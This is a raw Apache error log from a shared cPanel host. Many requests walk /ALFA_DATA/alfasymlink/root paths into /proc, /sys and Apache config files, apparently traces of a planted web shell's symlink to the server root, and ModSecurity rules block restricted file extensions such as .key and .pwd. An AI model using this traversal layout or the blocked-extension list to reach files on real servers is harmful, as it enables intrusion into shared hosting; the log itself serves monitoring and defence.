[Sun Oct 25 01:15:38.208585 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 54.197.114.76:63299] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/subsystem/uevent
[Sun Oct 25 01:15:42.125781 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 3.208.146.193:47885] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:16:10.245300 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 18.207.89.138:49122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/vmd/module/uevent
[Sun Oct 25 01:16:18.120914 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 18.214.251.19:16566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/input0/device/driver/bind
[Sun Oct 25 01:16:23.488284 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 85.208.96.198:38334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/reclaim_account
[Sun Oct 25 01:16:30.109189 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 98.83.72.38:40274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:16:34.121018 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.209.174.110:18918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:16:38.146863 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.45.15.233:45344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:16:42.838459 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 85.208.96.204:43466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/poison
[Sun Oct 25 01:16:46.118021 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 3.213.46.222:29247] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:16:58.152683 2026] [security2:error] [pid 2759096:tid 2759096] [client 3.218.103.254:13924] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/21/"] [unique_id "at2QymTNY6y0aXZ6joCbJQAAADk"]
[Sun Oct 25 01:16:58.152746 2026] [security2:error] [pid 2759096:tid 2759096] [client 3.218.103.254:13924] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/21/"] [unique_id "at2QymTNY6y0aXZ6joCbJQAAADk"]
[Sun Oct 25 01:17:02.163161 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 44.221.227.90:58669] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:17:06.158149 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.22.64.232:41481] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:17:14.683350 2026] [authz_core:error] [pid 2762188:tid 2762188] [client 20.65.179.65:60228] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:17:18.215466 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 85.208.96.193:64506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:17:22.149212 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 34.226.89.140:6179] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:17:26.343265 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 18.232.36.1:16830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/drivers/button/unbind
[Sun Oct 25 01:17:30.237671 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.3.127.170:38962] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:17:34.132308 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.225.45.252:13099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:17:46.355252 2026] [ssl:error] [pid 2762190:tid 2762190] (5)Input/output error: [client 3.212.219.113:64594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:17:50.249403 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 3.213.106.226:40486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:17:58.310267 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.84.147.79:34601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:02.201208 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 100.28.204.82:46982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:06.225594 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 18.211.39.188:52418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:10.229086 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.221.227.90:11186] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:18.379806 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.70.123.241:8368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:21.805375 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 185.191.171.5:26294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/cpu_slabs
[Sun Oct 25 01:18:28.451405 2026] [security2:error] [pid 2759074:tid 2759074] [client 185.191.171.9:56538] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/account_suspensions.conf"] [unique_id "at2RJNsOgdpl1YJRCNQWAAAAAEU"]
[Sun Oct 25 01:18:28.451823 2026] [security2:error] [pid 2759074:tid 2759074] [client 185.191.171.9:56538] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/account_suspensions.conf"] [unique_id "at2RJNsOgdpl1YJRCNQWAAAAAEU"]
[Sun Oct 25 01:18:28.452271 2026] [security2:error] [pid 2759074:tid 2759074] [client 185.191.171.9:56538] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/account_suspensions.conf"] [unique_id "at2RJNsOgdpl1YJRCNQWAAAAAEU"]
[Sun Oct 25 01:18:38.404748 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 98.82.66.172:55124] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:42.594802 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 3.94.199.128:10094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:53.821162 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 185.191.171.14:58840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:54.384165 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 52.6.5.24:64364] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:18:58.667641 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 18.213.240.226:56590] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:19:06.549962 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 54.84.147.79:27456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/drivers/pvpanic/uevent
[Sun Oct 25 01:19:22.243455 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.204.37.237:57727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:19:29.706000 2026] [core:crit] [pid 2762188:tid 2762188] (13)Permission denied: [client 165.22.60.26:56704] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 01:19:34.423316 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 34.205.170.13:42493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:19:38.326503 2026] [ssl:error] [pid 2762182:tid 2762182] (5)Input/output error: [client 52.4.229.9:62392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:19:46.282147 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.218.35.239:28659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:19:58.272817 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 3.219.80.71:44986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:20:02.857453 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.231.45.47:2292] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:20:06.440558 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 50.19.79.213:43129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:20:14.326990 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 100.29.164.178:47376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/rescan
[Sun Oct 25 01:20:26.402874 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.193.102.198:57031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:20:26.403085 2026] [security2:error] [pid 2762149:tid 2762149] [client 44.193.102.198:57031] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:12/power/control"] [unique_id "at2RmjuLxR3FUbX6v9XEmwAAAAc"]
[Sun Oct 25 01:20:26.403118 2026] [security2:error] [pid 2762149:tid 2762149] [client 44.193.102.198:57031] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:12/power/control"] [unique_id "at2RmjuLxR3FUbX6v9XEmwAAAAc"]
[Sun Oct 25 01:20:43.211569 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.207.89.138:52461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:20:46.330273 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 3.211.105.134:45040] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:21:02.093148 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.205:17668] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/AU8810.conf"] [unique_id "at2RvlTnwNJm6o1fQZIghgAAAAI"]
[Sun Oct 25 01:21:02.093565 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.205:17668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/AU8810.conf"] [unique_id "at2RvlTnwNJm6o1fQZIghgAAAAI"]
[Sun Oct 25 01:21:02.093897 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.205:17668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/AU8810.conf"] [unique_id "at2RvlTnwNJm6o1fQZIghgAAAAI"]
[Sun Oct 25 01:21:02.484171 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 3.90.73.206:59644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:21:26.426150 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 74.208.13.191:58974] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:21:30.664673 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 34.227.234.246:40285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:21:42.599061 2026] [ssl:error] [pid 2762190:tid 2762190] (22)Invalid argument: [client 3.217.171.106:41704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:21:50.414353 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.45.29.57:61577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:21:54.527912 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 52.6.5.24:56521] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:21:55.040152 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.7:17576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/usersize
[Sun Oct 25 01:22:06.416857 2026] [security2:error] [pid 2762149:tid 2762149] [client 44.221.37.41:1742] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/11/"] [unique_id "at2R_juLxR3FUbX6v9XEnwAAAAc"]
[Sun Oct 25 01:22:06.416922 2026] [security2:error] [pid 2762149:tid 2762149] [client 44.221.37.41:1742] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/11/"] [unique_id "at2R_juLxR3FUbX6v9XEnwAAAAc"]
[Sun Oct 25 01:22:09.486675 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 185.191.171.1:20604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/sanity_checks
[Sun Oct 25 01:22:22.421428 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.203.237.170:2978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:22:26.608795 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 54.235.172.96:33187] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0303:00/physical_node1/driver/bind
[Sun Oct 25 01:22:30.901384 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 107.20.255.194:27077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:22:34.575175 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.45.77.169:44517] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:22:38.984520 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 50.16.216.166:20661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:22:43.189301 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.8:61450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/destroy_by_rcu
[Sun Oct 25 01:22:43.189889 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.191.171.8:61450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/destroy_by_rcu"] [unique_id "at2SI1TnwNJm6o1fQZIgigAAAAI"]
[Sun Oct 25 01:22:43.189927 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.191.171.8:61450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/destroy_by_rcu"] [unique_id "at2SI1TnwNJm6o1fQZIgigAAAAI"]
[Sun Oct 25 01:22:59.456355 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 185.191.171.12:65006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/shrink
[Sun Oct 25 01:23:06.707203 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.195.50.71:11360] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:23:10.642878 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.85.109.140:9980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:23:14.506880 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 34.206.193.60:21621] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:23:18.571678 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 184.72.84.154:60712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:23:22.438496 2026] [security2:error] [pid 2762183:tid 2762183] [client 124.156.225.181:49922] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_veracruz_1.html"] [unique_id "at2SSpnH_N6a0offkOBFUgAAACg"]
[Sun Oct 25 01:23:22.857160 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 44.208.193.63:42767] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:0e/eject
[Sun Oct 25 01:23:34.847704 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 23.23.137.202:55595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:23:42.587095 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 44.207.252.58:31287] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:23:46.614070 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 3.212.219.113:4740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:23:54.562668 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 3.224.215.150:33528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:23:58.558179 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 3.225.9.97:21664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/rescan
[Sun Oct 25 01:24:34.665585 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 18.207.79.144:47127] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:24:38.706106 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 3.208.146.193:10566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:24:44.388056 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 3.229.164.203:9641] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:24:54.822490 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.87.62.248:15395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:24:58.677292 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 18.213.240.226:17783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:01.2/driver/uevent
[Sun Oct 25 01:25:07.941004 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 85.208.96.194:26654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:25:13.064612 2026] [security2:error] [pid 2759057:tid 2759057] [client 43.165.7.132:59666] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at2SuWnoVolia533WIkhSgAAADQ"]
[Sun Oct 25 01:25:15.118670 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 18.215.77.19:62746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:25:21.825472 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 85.208.96.209:43478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/poison
[Sun Oct 25 01:25:22.802917 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 52.200.58.199:55671] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:25:39.189221 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 85.208.96.206:57544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/slab_size
[Sun Oct 25 01:25:50.848919 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 18.208.11.93:31428] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:26:00.423769 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 185.191.171.12:18428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/slabs
[Sun Oct 25 01:26:06.768230 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 23.21.228.180:65296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:26:10.772144 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.44.174.136:31170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:26:18.897711 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 100.28.44.58:55180] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:26:30.997569 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.209.89.189:41612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:26:34.070980 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 85.208.96.208:37286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/min_partial
[Sun Oct 25 01:26:48.175409 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 85.208.96.204:45412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/partial
[Sun Oct 25 01:27:03.795699 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 85.208.96.196:60942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:27:06.904515 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.5.232.250:20295] AH02013: coalesce failed to read from data bucket
